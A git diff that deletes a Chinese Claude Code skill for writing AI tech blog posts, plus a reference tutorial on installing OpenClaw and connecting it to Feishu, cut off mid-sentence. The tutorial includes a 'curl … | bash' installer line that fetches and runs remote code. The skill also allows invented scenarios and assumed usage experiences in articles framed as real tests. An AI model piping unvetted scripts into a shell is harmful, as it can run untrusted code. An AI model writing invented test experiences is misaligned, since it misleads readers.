diff --git a/.claude/skills/ai-article/SKILL.md b/.claude/skills/ai-article/SKILL.md deleted file mode 100644 index 95af0fdbd9..0000000000 --- a/.claude/skills/ai-article/SKILL.md +++ /dev/null @@ -1,389 +0,0 @@ ---- -name: ai-article -description: 自动搜集AI领域热点或根据指定选题,按照二哥的写作风格完成AI技术类文章撰写。专注于AI Coding工具实测(Claude Code、Qoder、Cursor、TRAE等)、大模型工程化落地(SpringAI、LangChain、RAG等)、AI Agent和工作流编排、国产大模型评测(GLM、通义千问、DeepSeek、MiniMax、Kimi等)、各种AI工具、Agent工具的评测。触发关键词:写一篇AI文章、AI技术文章、大模型测评、AI工具实测、GLM、Claude Code、Qoder、Cursor、TRAE、SpringAI、RAG、Agent、工作流、国产大模型、搜集AI热点、AI选题等。 ---- - -# AI技术文章生成工作流 - -## ⚠️ 强制检查项(每次执行前必读) - -在开始写作前,必须阅读并承诺遵守以下强制要求: - -| 检查项 | 要求 | 检查方法 | -|--------|------|----------| -| 标点符号 | 正文使用中文标点 | 生成后只检查正文,排除代码、URL、YAML、命令 | -| 标题风格 | 15-30字,口语化,参考 biaoti.md 的模式 | 生成前先读 biaoti.md,模仿其语气 | -| 开头 | 固定使用"大家好,我是二哥呀。" | 检查文章开头 | -| 前言结构 | 前3段内完成"冲突-结果-收益"三连 | 检查前三段内容 | -| 二级标题 | 格式为"## 01、标题" | 检查所有二级标题 | -| 截图占位符 | 每个核心章节至少1个,包含截图目标和关键词 | 检查各章节 | -| ending | 结尾标题 `## ending`,不低于200字的情绪升华 | 检查结尾 | -| AI味词汇 | 避免使用"值得注意的是""此外""标志着""链路"等 | 检查全文 | -| 黑话 | 避免使用"赋能""抓手""闭环""打通"等 | 检查全文 | - -**未完成以上检查的文章,不得交付。** - ---- - -## 环境声明(每次执行前必读) - -执行本工作流前,先运行以下命令获取当前真实日期: - -```bash -date "+%Y年%m月%d日" -``` - -后续所有涉及日期的操作必须基于这个日期:联网搜索关键词带上当前年月,文章 `date` 字段使用当前实际日期,正文时间描述基于当前日期。 - ---- - -## 概述 - -自动搜集AI领域热点或根据指定选题,按照二哥的写作风格完成AI技术类文章撰写。定位是AI博主。 - -## 目录结构 -``` -ai-article/ -├── SKILL.md # 本文件,工作流和写作规范 -├── references/ # 历史文章素材,学习写作风格用 -│ ├── glm4-7.md -│ └── quest-2.md -└── sucai.md # 本次写作的参考素材(临时),用户提供的背景资料、数据、截图说明等 -``` - -## 工作模式 - -用户通过提示词或 sucai.md 指定选题,直接进入撰写流程。 - -## 工作流程 - -### 步骤1:检查素材 - -`./sucai.md`(默认主素材) - -你必须精读素材库中的内容,消化吸收。读取后提取关键信息、数据、观点、截图,作为正文素材池,尤其是截图,可以直接搬运到正文中,减少改稿成本。我们要写的内容正是基于素材完成的,不脱离,但有创新。 - -### 步骤2:搜集资料 - -用联网搜索(如 web_search)搜索该选题的相关资料,关键词带上当前日期,确保信息时效性。 - -搜索关键字参考“AI 最新进展"、“大模型 本周 发布”、“AI应用 最新动态”、“国产大模型 近期 新闻”等关键词,必须带上时间限定。默认只采用最近7天内的信息,超过7天的内容仅可作为背景,不得作为核心结论证据。 - -补充要求: - -- 补充可引用的公开跑分/基准信息(如公开榜单、官方基准、第三方测试)。 -- 补充来自 X(原 Twitter)的外界评价,优先真实开发者或有实测记录的账号。 -- 外部引用必须保留来源链接和日期,避免“听说”“网友表示”这类模糊归因。 - -### 步骤3:整理证据清单(先于写作) - -写正文前,先整理“引用证据清单”,至少包含:`结论点`、`来源链接`、`发布时间/发帖时间`、`为何可信`。 - -如果未检索到可核验的跑分或 X 外界评价,必须在清单里明确标记”未检索到有效证据”,正文对应段落降级为”经验观察”,禁止伪造数据或伪造引用。 - -### 步骤3.5:文章风格选择(新增) - -**询问用户**:使用 `AskUserQuestion` 工具询问用户选择 `./references/` 目录文章风格类型,问题选项如下: - -```json -{ - "question": "请选择文章风格类型:", - "header": "文章风格", - "options": [ - { - "label": "安装教程类", - "description": "手把手教学,步骤详细,注重实操指导(参考:OpenClaw-install.md)" - }, - { - "label": "面试对话类", - "description": "对话形式,深入理解,风格自然亲切(参考:OpenClaw-unstall.md)" - }, - { - "label": "产品评测类", - "description": "实测体验,有观点有数据,情绪化表达(参考:glm4-7.md、quest-2.md)" - } - ], - "multiSelect": false -} -``` - -**重要说明**: - -1. **风格参考 ≠ 内容照搬**:参考选定的文章学习二哥的语气、节奏、表达方式,但内容必须大胆创新,不能照搬参考文章的结构或素材 -2. **内容可以大胆假设**:可以虚构场景、假设使用体验、创造新的案例,不局限于sucai.md的素材 -3. **开头和结尾要创新**:不要老生常谈,不要每次都写类似的套路,根据内容特点设计有新意的开头和结尾 -4. **保持二哥的特色**:口语化、有温度、像朋友聊天,避免AI味词汇和黑话 - -### 步骤4:撰写文章 - -文件格式为 Markdown,正文长度强制 4000字左右(低于3000不得交付,高于4000需压缩后再交付)。 - -撰写时按照步骤3.5用户选择的风格类型,参考对应文章学习二哥的写作风格,并结合 `./sucai.md` 的素材。 - -**字数检查与调整流程**: - -1. 初稿完成后,使用 `./scripts/check_body_length.py` 检查字数 -2. 如果字数 >= 4000:直接进入步骤5落盘输出 -3. 如果字数在 3000-3999 之间: - - 必须询问用户:提供2-3个扩展方向让用户选择,或者询问用户希望往哪个方向扩展 - - 扩展方向示例:增加更多实测案例、补充技术细节、展开对比分析、深化使用场景描述等 - - 根据用户选择方向扩展后,再次检查字数,直到达标 -4. 如果字数 < 3000:不得交付,必须大幅扩展内容 - - -文章头部模板: -```yaml ---- -title: 文章标题 -shortTitle: 短标题 -description: 文章描述 -tag: - - Agent -category: - - AI -author: 沉默王二 -date: # 使用 date 命令获取的实际日期,格式 YYYY-MM-DD ---- -``` - -### 步骤5:落盘输出 - -文件命名用文章标题关键词,保存到 `docs/src/sidebar/itwanger/ai/` 目录(相对仓库根目录)。 - -### 步骤6:交付前检查(强制执行) - -文章完成后,必须逐项检查以下清单,未完成的必须修改后再交付: - -- [ ] 正文使用中文标点符号(逗号必须是中文逗号 `,`) -- [ ] 标点检查仅针对正文,排除代码块、行内代码、URL、YAML frontmatter、命令行 -- [ ] 前言在前3段内完成"冲突-结果-收益"三连 -- [ ] 二级标题格式为"## 01、标题"、"## 02、标题" -- [ ] 每个核心章节(## 01及之后)至少1个截图占位符 -- [ ] 每个截图占位符包含"截图目标"和"关键词" -- [ ] 结尾用## ending,有情绪升华(不低于200字) -- [ ] 正文长度4000字左右,不包括代码(使用 `./scripts/check_body_length.py` 检查字数) -- [ ] 外部结论都有来源链接和日期,且在“引用证据清单”中可回溯 -- [ ] 避免 AI 味词汇(值得注意的是、此外、标志、链路、收敛着等) -- [ ] 避免互联网黑话(赋能、抓手、闭环、打通等) - -## 写作原则 - -### 标题风格 - -**标题生成步骤:** - -**步骤1:让用户选择参考标题** -使用 `AskUserQuestion` 工具让用户从17个标题中选择10个最符合期望风格的标题作为参考。配置如下: - -```json -{ - "question": "请选择10个标题作为风格参考(多选):", - "header": "标题风格", - "multiSelect": true, - "options": [ - {"label": "标题1", "description": "这份Claude Code指南火爆全网,已狂飙20k+ Star!"}, - {"label": "标题2", "description": "Leader说Skills就是Prompt换皮,我不听,花一周给团队写了10个Skill。他偷偷找我:这个月的绩效你拿A。"}, - {"label": "标题3", "description": "AI 国家队讯飞开放安全版龙虾,一键部署+无限Token"}, - {"label": "标题4", "description": "RuoYi 全栈 AI 平台开源了!"}, - {"label": "标题5", "description": "DeepSeek V4要来?我花了1个小时,用神秘模型Pony开发了一个macOS应用"}, - {"label": "标题6", "description": "不用Claude,这个国产Cowork就很猛,我测了一天,直呼太香!"}, - {"label": "标题7", "description": "Top 10热门Agent Skills,我试了个遍,发现真的能让生产力翻倍"}, - {"label": "标题8", "description": "狂揽33k+Star,一口气给你配齐21个专业Agent,这个AI框架有点东西"}, - {"label": "标题9", "description": "一文带你看懂,火爆全网的Skills到底是啥"}, - {"label": "标题10", "description": "马斯克开源 X 推荐算法,我研究了一天,发现了这些宝藏设计"}, - {"label": "标题11", "description": "又一个神级Skills开源项目爆火,37K+星标!"}, - {"label": "标题12", "description": "面试官:“卸载过OpenClaw吗?”我笑了:“包卸过。”面试官也笑了:“你啥时候来上班?”"}, - {"label": "标题13", "description": "我的龙虾二号上岗了:1 个 OpenClaw 养多个 Agent(保姆级教程)"}, - {"label": "标题14", "description": "OpenClaw养成记:我的第一只小龙虾终于上岗了。"}, - {"label": "标题15", "description": "GPT-5.4 实测:Codex+Chrome MCP操控浏览器,终于搞定这个难缠的 Bug"}, - {"label": "标题16", "description": "DeepSeek V4灰度,这波我真的热血沸腾,国产模型继续冲啊。"} - ] -} -``` - -**步骤2:标题生成** -基于用户选择的标题,按以下步骤生成新标题: -1. 分析用户选中标题的共同特点(语气词、标点用法、长度、结构) -2. 结合本次主题,生成符合该模式的标题 -3. 检查标题长度在30-50字之间 - -### 语气和称呼 - -开头固定用"大家好,我是二哥呀。",用"大家"、"我们"、“小伙伴”和读者拉进关系,保持对话感。语气像老朋友聊技术,不是教科书,要有温度、有态度。 - -### 文章开头套路 - -开头要能抓住读者注意力,但不要标题党。 - -### 前言冲击力(强制) - -前言必须在前3段内完成“冲突-结果-收益”三连: - -- 冲突:明确一个真实痛点或争议点。 -- 结果:提前给出一句高价值结论(但不剧透全部细节)。 -- 收益:告诉读者继续读下去能拿到什么(方法、结论、避坑点)。 - -### 正文结构 - -用二级标题分块,格式为“## 01、标题”、“## 02、标题”。 - -二级标题下可以用三级标题细分。三级标题格式为“### 三级xxx”。三级标题下可以有四级标题,但不强制,视内容需要而定。 - -### Case 创意 - -要尽可能有趣,能让读者眼前一亮的案例。可以是实测数据、对比分析、独特的使用场景、开发者的真实反馈等。越具体越好,抽象的道理不如具体的故事。 - -如果涉及到coding,可以尝试和PaiAgent结合,这是一个Vibe Coding项目,源码在:https://github.com/itwanger/PaiAgent - -也可以尝试和paicoding.com 技术派结合,看看能不能开发一些新的功能,实现一些新的业务,最好是和AI紧密结合,能写到简历上最好。 - -### 段落优先原则(强制) - -正文内容优先使用段落式写法,用完整的句子和自然的过渡来表达观点。能用一段话说清楚的事情,就不要拆成列表。 - -**核心要求:** -- 段落式写法是默认选择,列表是例外情况 -- 用自然的句子连接观点,而不是用列表强行分段 -- 保持阅读的连贯性,让文章像聊天一样流畅 - -**仅限以下情况使用列表:** -- 并列的技术栈或工具名称(比如:Spring Boot、MyBatis、Redis) -- 明确的操作步骤且步骤之间相互独立 -- 需要强调的3个以上要点且确实是并列关系 - -**反面示例(禁止):** -``` -错误: -这个工具的特点如下: -- 速度快 -- 操作简单 -- 功能强大 -``` - -``` -正确: -这个工具最大的特点是速度快,操作也简单,功能还特别强大。用了之后你就知道有多香了。 -``` - -**检查方法:** -- 生成文章后,检查是否存在"仅用列表分段"的情况 -- 如果列表项之间能用","或"、"连接成一句通顺的话,说明应该用段落 -- 去掉无意义列表,改用段落式表达 - -### 常用表达 - -自然融入这些口语化表达:“说真的”、“讲真”、“真心话”、“这一点至关重要”、“这个细节特别加分”、“好,我们直接来看效果”、“怎么样,是不是xxx?”,“啧啧啧”、“爽歪歪”(适度使用)。 - -### 文章结尾套路(重要) - -用## ending作为结尾标题,一句话总结核心观点。结尾要给读者提供情绪价值,表达更深层的价值观和人生思考。这种段落能让读者从获取信息变成产生共鸣。 - -用短句和换行制造节奏感。不要写长段落,每句话单独一行或两三句一段。短促的节奏更有力量感。 - -用具体的生活场景代替抽象的道理。具体的画面比抽象的道理更打动人。 - -可以用对比制造张力,但避免连续二元排比和模板化口号。重点是具体场景里的真实反差,而不是套句式。 - -金句用加粗框【xxx】起来。一段情绪升华最多一句金句,金句要短,要有记忆点。 - -可以往这些方向写:工作的意义不只是赚钱、技术是为了让生活更好、求职焦虑背后是对未来的期待、我们值得更好的工作环境、努力的人不应该被辜负、AI不是为了取代我们。 - -### 人性化表达规范 - -确保文章读起来像真人写的,避免 AI 生成的机械感。 - -**核心原则** - -打破公式结构,避免二元对比和戏剧性分段。变化节奏,混合句子长度,两项优于三项。信任读者,直接陈述事实,跳过软化和辩解。 - -**句式和节奏** - -长短句交替使用,不要连续出现结构相同的句子。比如不要连续三句都是“xxx是xxx”这种判断句。可以用反问、感叹、设问来调节节奏。段落结尾要多样化,不要每段都以总结句收尾。 - -**口语化表达** - -适当加入口语词汇,比如“其实”、“说白了”、“讲真”、“反正”、“总之”、“话说回来”。这些词让文章更像聊天。 - -**个人视角** - -多用“我”的视角来叙述,比如“我试了一下”、“我当时的想法是”、“我踩过这个坑”。避免全篇都是“用户可以”、“开发者需要”这种第三人称。 - -**必须避免的 AI 味词汇** - -总结性套话:值得注意的是、需要指出的是、综上所述、由此可见、不难发现、此外、与此同时。 - -夸大意义的词:标志着、见证了、是……的体现/证明/提醒、凸显/强调/彰显了其重要性、为……奠定基础、不可磨灭的印记。 - -宣传性语言:充满活力的、丰富的(比喻)、深刻的、著名的、令人叹为观止的、开创性的、坐落于。 - -模糊归因:行业报告显示、观察者指出、专家认为、一些批评者认为、多个来源表明。 - -互联网黑话:赋能、抓手、闭环、打通、沉淀、对齐、拉通、链路,除非是讽刺语境。 - -**必须避免的 AI 句式** - -否定式排比:“不仅……而且……”、“这不仅仅是……而是……”被严重过度使用,直接删除。 - -三段式法则:不要强行把想法分成三组来显得全面,两项或四项更自然。 - --ing 结尾的肤浅分析:删除“……,确保了……”、“……,体现了……”、“……,彰显了……”这类句尾。 - -过度限定:删除“可以说”、“在某种程度上”、“从某种意义上讲”这类软化词。 - -通用积极结论:删除“未来可期”、“前景光明”、“值得期待”这类空洞结尾。 - -**避免过度礼貌** - -不要用“希望对您有所帮助”、“如有疑问请随时提出”这类客服式结尾。结尾要干脆,像朋友聊完天说“就这样,有问题评论区见”。 - -## 特色元素 - -### 简历包装环节 - -如果文章涉及实战项目,可以加一个如何写到简历上的模块。 - -项目名称 -项目简介:xxx -技术栈:xxx -核心职责(5条) -- xxxx 公式:用技术栈解决了什么问题、实现了哪些业务,有哪些量化数据 - -### 图片和流程图处理 - -文章中需要配图的地方,必须用占位符标注出来,方便后续插入。如果 ./sucai.md 中有相关截图,直接搬运过来即可。 - -### 截图占位符(强制) - -终稿必须包含“截图占位符 + 关键信息关键词”,并满足: - -- 每个核心章节(`## 01` 及之后)至少1个截图占位符。 -- 每个占位符必须写清“截图目标”和“关键词”,方便后续检索与取证。 -- 没有截图占位符的章节视为未完成,不允许交付。 -- 如存在可核验的“跑分与外界评价”,该章节至少包含 1 个跑分截图占位符和 1 个 X 帖子截图占位符;如不存在,必须在文中明确说明缺失原因,不得杜撰。 - -**截图/图片占位格式(固定模板):** - -【此处插入<截图名称>:截图目标:<这张图要证明什么>;关键词:<关键词1>、<关键词2>、<关键词3>;建议位置:<命令行/网页/日志/IDE>】 - -示例: - -【此处插入Claude Code 执行截图:截图目标:证明模型先拆解再执行;关键词:任务拆解、执行计划、变更说明;建议位置:终端会话窗口】 - -**流程图/架构图占位:** 如果需要流程图或架构图,用代码块包裹关键节点,比如: -``` -用户输入 -> 意图识别 -> 知识库检索 -> LLM生成 -> 返回结果 -``` - -### 互动钩子 - -在合适的地方加入互动引导,比如“还没有xxx的同学可以抓紧时间体验一波了”、“源码已经开源在GitHub上”、“订阅xxx的用户,可以xxx”。 - -## 禁止事项 - -不要用”首先、其次、最后”八股结构,这种写法太死板。不要过度使用emoji,偶尔用一两个可以。不要写超过5行的长段落,适时换行保持阅读节奏。不要用”让我们”、”我们来看看”这种翻译腔。不要只讲理论不给实操,读者要的是能上手的东西。不要在技术文章里加太多废话铺垫。 - -**严禁滥用列表(段落优先原则)** -- 能用段落说完的内容,禁止拆成列表分段 -- 禁止把简单的并列关系强行列表化 -- 禁止用列表来”凑字数”或”制造结构感” -- 段落式写法才是默认选择,列表是例外情况 diff --git a/.claude/skills/ai-article/references/OpenClaw-install.md b/.claude/skills/ai-article/references/OpenClaw-install.md deleted file mode 100644 index f1d403be31..0000000000 --- a/.claude/skills/ai-article/references/OpenClaw-install.md +++ /dev/null @@ -1,482 +0,0 @@ ---- -title: OpenClaw 安装教程,全网最详细手把手教你接入飞书! -shortTitle: OpenClaw 飞书接入教程 -description: 一份超详细的 OpenClaw 安装指南,从本地部署到飞书机器人接入,手把手教你打造 7×24 小时在线的 AI 助手 -tag: - - OpenClaw - - Agent -category: - - AI -author: 沉默王二 -date: 2026-02-24 ---- - -大家好,我是二哥呀。 - -OpenClaw 火有一个多月了吧,甚至各大服务器厂商都纷纷下海卷了一吧,主打一个 Mac mini 你不用买,买一台云服务器就好。 - -并且多次强调,不要在你本地电脑部署,权限太大,容易把你本地的东西 `rm -rf` 了,但说实话这里面有极大的商业利益。😄 - -安装 OpenClaw 本身没有任何难度,Mac 版本的安装包都有了。 - -![](https://cdn.paicoding.com/paicoding/037694bfedad718bca96d2721f57cc36.png) - -但信息差这东西永远都存在,哪怕是 AI 这么卷的情况下,仍然有不少小伙伴在本地装不起来 OpenClaw。 - -我甚至收到好几位读者的私信,要我出个保姆级教程,说他们公司,老板年后开工突然就要求在本地装个龙虾,以便每个人能发挥出最大的生产力。 - -![](https://cdn.paicoding.com/paicoding/944c66cbc08fac54239a82b77f41a662.png) - -OpenClaw 本质上类似 Claude Code,但 CC 在名字上吃了大亏,不了解的小伙伴以为 CC 只面对程序员群体,但其实 CC 能干的活非常多,只要权限够大,脑洞够大。 - -OpenClaw 本质上也是一个 CC。让它爆火的原因是,它虽然工作在你本地电脑或者云服务器上,但可以通过 IM 工具,比如说飞书、钉钉进行远程管理。 - -你在飞书群里发一条消息,它就能帮你整理文档、抓取网页、生成代码、处理 Excel,甚至还能定时提醒你该摸鱼了。 - -![](https://cdn.paicoding.com/paicoding/af2ab68d1dd05d25dcdd6270a6a5919c.png) - -不了解的小伙伴会以为部署这玩意儿特别麻烦,但其实核心步骤就那么几步。 - -真正卡住大家前进脚步的,是环境配置和飞书权限这些细节。 - -今天这篇,我把踩过的坑都帮你填平,跟着做就行了。真的有手就行,手摸手那种。 - -## 01、OpenClaw 到底是个啥? - -先搞清楚我们要装的是什么东西。 - -OpenClaw 是一个开源的 AI 代理平台,核心能力就一句话:用自然语言驱动工具完成任务。 - -![](https://cdn.paicoding.com/paicoding/d847d3b7ea67cb6bd197dc788ad83b8d.jpg) - -它不是那种只会回答问题的聊天机器人,而是真正能动手的 Agent。 - -读写文件、执行命令、操控浏览器、处理邮件,这些它都能干。 - -更重要的是,它支持通过飞书、钉钉、企业微信、QQ 这些 IM 工具来控制。 - -![](https://cdn.paicoding.com/paicoding/dcdf937bac558a7ff835097b9d93e78e.png) - -你在飞书里说帮我整理一下今天的待办事项,它就会乖乖去执行。 - -OpenClaw 本身不具备独立的大语言模型推理能力,需要对接大模型才能听懂指令。 - -支持的大模型很多,阿里云百炼、智谱 GLM、OpenAI、Anthropic 都可以。 - -## 02、前置环境准备 - -开始之前,先把该装的装好,免得中途报错一脸懵逼。 - -### Node.js 升级到 22 以上 - -这是硬性要求,低于 22 版本会报错。 - -macOS 用户可以直接用 Homebrew: - -```bash -brew install node@22 -``` - -或者 warp 直接升级“node 升级到 22 版本”。 - -![](https://cdn.paicoding.com/paicoding/bc500447bdf583f93be3185b7e067251.png) - -装完后验证一下: - -```bash -node -v -``` - -显示 `v22.x.x` 就没问题。 - -![](https://cdn.paicoding.com/paicoding/c014f82f4908f447c6da7f3e51363f53.png) - -Windows 用户建议用 WSL2,在 Linux 环境里装会更顺畅。直接在 Windows 原生环境安装可能会遇到各种兼容性问题。 - -### 准备大模型的 API Key - -我这里以智谱 GLM 为例,因为我是他们家的 coding plan 套餐用户(非利益关系,纯粹是 OpenClaw 烧 token 太快,只有 plan 套餐才能顶得住)。 - -![](https://cdn.paicoding.com/paicoding/124994c429b13082fcffff90ed510fe9.png) - -max 包真特喵的贵! - -有需要的小伙伴建议先买个 lite 版本的,一个月 49 块钱试试。我把我的邀请链接贴一下,你下单能省 10%费用,我也能返 10%的血条。 - -> 链接:https://www.bigmodel.cn/glm-coding?ic=STBFQ0PXIN - -购买后访问智谱开放平台,登录后在 API Keys 页面创建一个 Key,复制保存好。 - -![](https://cdn.paicoding.com/paicoding/f69e68dba5a566a4a1fd51e9f9d91849.jpg) - -后面要用。 - -## 03、安装 OpenClaw - -环境准备好后,开始正式安装。 - -### macOS 用户 - -打开终端,执行一键安装脚本: - -```bash -curl -fsSL https://openclaw.ai/install.sh | bash -``` - -![](https://cdn.paicoding.com/paicoding/122a4ac1028744398bb1cb2abee36fc0.png) - -这个脚本会自动检测系统环境,安装 Node.js 和所有依赖,基本不用你操心。 - -我第一次执行似乎卡死到了这里,提示 `npm install failed`。 - -![](https://cdn.paicoding.com/paicoding/b61faf4e3dc07c732ccea4215901e105.png) - -我就直接 ctrl-c 结束重新起了一个终端窗口开始执行。 - -这次执行成功了。 - -![](https://cdn.paicoding.com/paicoding/2e252486ce49598c0154d3b95af25426.png) - -然后就可以看到龙虾成功安装后的界面了。 - -![](https://cdn.paicoding.com/paicoding/210c27f919c1c99619371c57897784d6.png) - -这里有一个安全提示,可以直接跳过。选择 yes 后进入启动配置向导。 - -![](https://cdn.paicoding.com/paicoding/0a9a44f5c5a7467a9629e6a2a2d04a3f.png) - -当然也可以后期配置。 - -网关类型这里选择 local 本地就行。然后是 AI 模型认证,把你准备好的 API Key 填进去。 - -![](https://cdn.paicoding.com/paicoding/0a4fbe34d53703da9da3a7d8937deb16.png) - -我这里选择 Z.AI 就是智谱。这里选择国内的 plan 套餐。 - -![](https://cdn.paicoding.com/paicoding/704b5b1ce0bda8de8bf0b7a35c025417.png) - -填入 API Key 后,模型保持最新的 GLM-5 就可以了。 - -![](https://cdn.paicoding.com/paicoding/52e0bf66e66bb97668f46462d0b1db01.png) - -接下来进入 IM 的配置,这里选择飞书。 - -![](https://cdn.paicoding.com/paicoding/a0ddbcaff41b0d5c2e2242bf2724a783.png) - -此时会下载飞书插件。 - -![](https://cdn.paicoding.com/paicoding/23082e82977be33d87af02376921eae4.png) - -接下来会提示我们接入飞书的配置信息。 - -![](https://cdn.paicoding.com/paicoding/6b99126b6928629205dee1ff97973f81.jpg) - -好,进入飞书开发平台 `https://open.feishu.cn/document/home/index`,可以过一眼基本的流程文档。 - -![](https://cdn.paicoding.com/paicoding/8a166ab6b5a1eb58f84ec9e89cd3e4b1.jpg) - -不想看的话,可以直接跳过,进入飞书开放平台。 - -> https://open.feishu.cn/app?lang=zh-CN - -创建一个应用,名字就暂时教 PaiFlow 吧。 - -![](https://cdn.paicoding.com/paicoding/9114d70c7caba1e36b8fdcab43ce5185.png) - -然后我们需要给应用添加一些能力。 - -![](https://cdn.paicoding.com/paicoding/5386ed6c1573a18e65f2c44242e432b4.jpg) - -我们就先添加一个机器人的能力吧。 - -![](https://cdn.paicoding.com/paicoding/83f25993fd24e949ba16bfa84ddf9063.jpg) - -回到凭证管理这里,能看到 APP Id 和 APP secret。 - -![](https://cdn.paicoding.com/paicoding/4740b443fe6626e44fdfe43c874a0dd0.png) - -复制粘贴到 OpenClaw 的配置中。 - -![](https://cdn.paicoding.com/paicoding/f604818a8d1043076769449138f562e9.png) - -接下来会有一个群组访问策略的配置,其中 open 就是允许群组所有人访问,建议选择这个。 - -![](https://cdn.paicoding.com/paicoding/2b69345161026260e73454f80f071ae5.png) - -我第一次选择了 allowlist,然后不知道接下来配置啥了,就重新跑了一遍,好方便给大家截图说明用。 - -![](https://cdn.paicoding.com/paicoding/283f0a9ded26ad40fa94e932fe9b1cbb.png) - -接下来是 Skills 的安装,和 ClawHub 是打通的,后续也可以安装。 - -![](https://cdn.paicoding.com/paicoding/7e6b2e3960370dedb45c87146363b89c.jpg) - -我这里看着选了几个,安装速度还是挺慢的,如果没有特别适合自己的 Skills,其实可以跳过的。 - -![](https://cdn.paicoding.com/paicoding/c35df43b207e5e3ee95e279d9f848057.jpg) - -接下来选择 Skills 的安装方式。默认 npm 就行。 - -![](https://cdn.paicoding.com/paicoding/13fddb246c951d16e4d51bf14fda4c50.png) - -接下来是 API key 的绑定,我这里通通跳过。 - -![](https://cdn.paicoding.com/paicoding/ed8716e74d53caae516501e0318210af.png) - -接下来是 hooks 的安装,OpenClaw 目前附带了 3 个自动发现的捆绑 hooks,其中 session-memory 用于当你发出 `/new` 时将会话上下文保存到智能体工作区;command-logger 将所有命令事件记录到 commands.log 中;boot-md 当 Gateway 网关启动时运行 BOOT.md。 - -![](https://cdn.paicoding.com/paicoding/045310fb8d27c8c48bbcf5e0e6bf2eec.png) - -接下来是 Gateway 的安装,我之前安装过,为了演示,这里大家可以选择 reinstall。 - -![](https://cdn.paicoding.com/paicoding/c769bf0f7f31c22ad579cafc1097f572.png) - -接着是打开 Web 窗口。可以选择 TUI 模式。 - -![](https://cdn.paicoding.com/paicoding/8c2ad43dcb1e7c51d350e41f2fc847fc.png) - -到这一步,OpenClaw 就算是安装成功了。 - -![](https://cdn.paicoding.com/paicoding/8ca01f3da8d92c2cecf4a90475a4e1e6.png) - -### 手动安装 - -如果一键脚本有问题,也可以手动安装: - -```bash -npm install -g @openclaw/cli -``` - -### 启动配置向导 - -安装完成后,执行配置向导: - -```bash -openclaw onboard -``` - -这个命令会引导你完成核心配置。 - -## 04、启动 OpenClaw 服务 - -配置完成后,启动核心服务: - -```bash -openclaw gateway start -``` - -这个命令会启动 OpenClaw 的网关服务,默认监听 18789 端口。 - -检查服务状态: - -```bash -openclaw gateway status -``` - -如果显示 `running`,说明服务正常启动。 - -![](https://cdn.paicoding.com/paicoding/1fe78ab9dba96c20b5c39148e22a8e87.png) - -### 验证安装成功 - -浏览器访问 `http://127.0.0.1:18789/`,如果能打开 OpenClaw 的 Web 控制面板,说明本地部署成功了。 - -![](https://cdn.paicoding.com/paicoding/e129abec66d885559e59cb36ab0ced1c.jpg) - -在控制面板里发一条测试消息,比如“你好,介绍一下你自己”,如果能收到正常回复,就说明大模型也配置对了。 - -![](https://cdn.paicoding.com/paicoding/791f7df432c5fe77fda7da206c3ab940.jpg) - -## 05、创建飞书应用 - -当然了,如果你不想在启动的时候配置飞书,也可以在 OpenClaw 安装成功后接入飞书。 - -### 第一步:进入飞书开放平台 - -访问飞书开放平台,用飞书账号登录。点击创建企业自建应用,填写应用名称和描述。应用类型选企业自建应用就行。 - -### 第二步:获取凭证 - -应用创建成功后,在凭证与基础信息页面,你能看到: - -- **App ID:**应用的唯一标识 -- **App Secret:**应用的密钥 - -把这两个值复制保存好,后面配置要用(前面演示过了)。 - -### 第三步:添加机器人能力 - -在应用的应用功能页面,点击添加应用能力,选择机器人。开通后,这个应用就能以机器人的身份出现在飞书群里了。 - -### 第四步:配置权限 - -在权限管理页面,开通以下权限: - -- `im:message`:获取与发送单聊、群聊消息 -- `im:message:send_as_bot`:以应用身份发消息 -- `im:chat`:获取群组信息 -- `im:chat:readonly`:读取群组信息 - -这些权限是 OpenClaw 接收和发送消息的基础。或者直接选择批量导入按钮,把 OpenClaw 官方推荐的权限全部接入进去。 - -![](https://cdn.paicoding.com/paicoding/fd3afd492d02756e40a5cf7548e56bdd.jpg) - -### 第五步:配置事件订阅 - -在事件订阅页面,开启事件订阅。 - -![](https://cdn.paicoding.com/paicoding/26fdc24e8c98961ca471bfd17456e3d6.png) - -直接选择长链接,当你的 OpenClaw 启动后,这里就可以保存成功。 - -添加事件 `im.message.receive_v1`:接收消息 - -这样当有人在飞书群里@机器人时,飞书会把消息推送到 OpenClaw。 - -![](https://cdn.paicoding.com/paicoding/6cc7730475e9ea27b7d259e66f81c412.png) - -### 第六步:发布应用 - -配置完成后,在版本管理与发布页面,创建一个版本并提交审核。 - -![](https://cdn.paicoding.com/paicoding/6a4cd245f9f3d1018ec1735f994ecd49.png) - -审核通过后(免审,比腾讯的 QQ 和企业微信方便),应用就可以在企业内使用了。 - -![](https://cdn.paicoding.com/paicoding/3632065c4042f24ef878f06785cbb25d.png) - -## 06、在 OpenClaw 中配置飞书通道 - -在飞书里打开应用,然后@它发一条消息: - -> 你好。 - -![](https://cdn.paicoding.com/paicoding/861523231db63c8ee88fc1e842eb50ae.png) - -首次会提示你要配对,直接把这条消息发送到 OpenClaw 聊天窗口。 - -![](https://cdn.paicoding.com/paicoding/9d4f19897e0e84824c5dd866c9a5f035.png) - -配对完成后,再回到飞书这里,随便发送一条信息,就完成通信了。 - -![](https://cdn.paicoding.com/paicoding/f807354d0468ea6a24c512384715908e.jpg) - -## 07、常见问题排查 - -接入过程中可能会遇到一些问题,这里把最常见的情况列出来。 - -### 问题一:飞书响应很慢 - -可以把问题直接发给 OpenClaw,其中模型的问题我们没办法解决,但飞书权限的问题可以。 - -![](https://cdn.paicoding.com/paicoding/958b748db07445be00857ff505c68053.png) - -直接在飞书这里添加通讯录基本信息的只读权限。 - -![](https://cdn.paicoding.com/paicoding/0165a7a4ad1f8273a0c07e7a44e82942.png) - -随后我感觉确实快了一些。 - -![](https://cdn.paicoding.com/paicoding/4b360a6edd44c6ff79e4593a8865a004.png) - -### 问题二:OpenClaw 服务启动失败 - -可能原因: - -- Node.js 版本低于 22 -- 端口被其他进程占用 -- API Key 配置错误 - -解决方案: - -```bash -node -v - -# 检查端口占用 -lsof -i:18789 - -# 查看服务日志 -openclaw logs -``` - -![](https://cdn.paicoding.com/paicoding/ab0d8df7029fe0c06da466bf02263ed1.png) - -### 问题三:模型调用失败 - -可能原因: - -- API Key 无效或额度用尽 -- 网络无法访问大模型服务 - -解决方案: - -- 重新检查 API Key 是否正确 -- 登录大模型平台确认额度是否充足 -- 尝试用 curl 命令直接测试 API 是否可达 - -## 08、飞书应用场景推荐 - -OpenClaw 接入飞书后,能干的事情就多了。 - -给大家分享几个我觉得比较实用的场景。 - -### 场景一:群消息同步 - -比如说 PaiFlow 